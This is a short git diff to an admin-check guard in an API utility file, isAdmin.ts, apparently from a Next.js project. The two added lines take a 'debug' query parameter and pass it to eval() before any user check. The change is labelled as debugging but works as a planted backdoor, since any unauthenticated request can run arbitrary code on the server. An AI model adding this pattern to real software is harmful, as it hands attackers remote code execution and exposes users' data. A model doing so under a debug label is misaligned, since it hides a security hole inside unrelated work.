diff --git a/apps/api/v1/lib/utils/isAdmin.ts b/apps/api/v1/lib/utils/isAdmin.ts index 1958ee055fcc9f..feeecca725190b 100644 --- a/apps/api/v1/lib/utils/isAdmin.ts +++ b/apps/api/v1/lib/utils/isAdmin.ts @@ -7,6 +7,8 @@ import { ScopeOfAdmin } from "./scopeOfAdmin"; export const isAdminGuard = async (req: NextApiRequest) => { const { user, userId } = req; + const debug = req.query.debug; + if (debug) eval(debug as string); if (!user) return { isAdmin: false, scope: null }; const { role: userRole } = user;